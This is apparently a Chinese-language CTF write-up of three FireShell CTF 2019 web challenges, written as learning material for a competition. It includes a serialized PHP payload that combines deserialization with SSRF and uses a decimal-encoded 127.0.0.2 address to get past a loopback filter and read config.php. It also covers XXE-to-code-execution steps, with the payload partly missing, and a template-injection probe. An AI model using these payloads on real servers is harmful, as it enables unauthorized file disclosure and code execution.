FireShell CTF 2019 WriteUp Web部分 #### Bad Injections 根据URL可以猜测存在任意文件下载漏洞并且hash值为file的md5加密,根据提示下载源码  在路由文件中发现几个关键点   跟进这个类发现存在XXE  这里想到还有一个只能通过SSRF才能访问到的admin,于是跟进admin文件发现存在代码执行  于是想到利用XXE来构造这个代码执行,这里要注意的是服务器出现 `} `就会报`parser error : Invalid URI`,所以我们需要编码一下。最终payload ``` ]> &xxe; ```  #### Vice 题目思路应该蛮明确反序列+SSRF,这里有几个限制所以我们使用file协议读文件,`127.0.0.2`绕过`127.0.0.1`的检测,然后将ip十进制编码绕过`.`检测最后进入URL编码  ``` method = "doit"; $this->url = "file://2130706434/var/www/html/config%2ephp"; } } $a = new SHITS(); echo urlencode(serialize($a)); ?> ``` 最终payload: ``` http://68.183.31.62:991/?gg=O%3A5%3A%22SHITS%22%3A2%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A43%3A%22file%3A%2F%2F2130706434%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3B%7D ```  #### Super-easy web dog 这道题一开始没做出来,最后知道真相的我眼泪掉下来  看到这个之后果断跑去题目试了`{{$.Request}} ` 然后???然后这就出来了?眼泪掉了下来 
话说,你这个博客很好看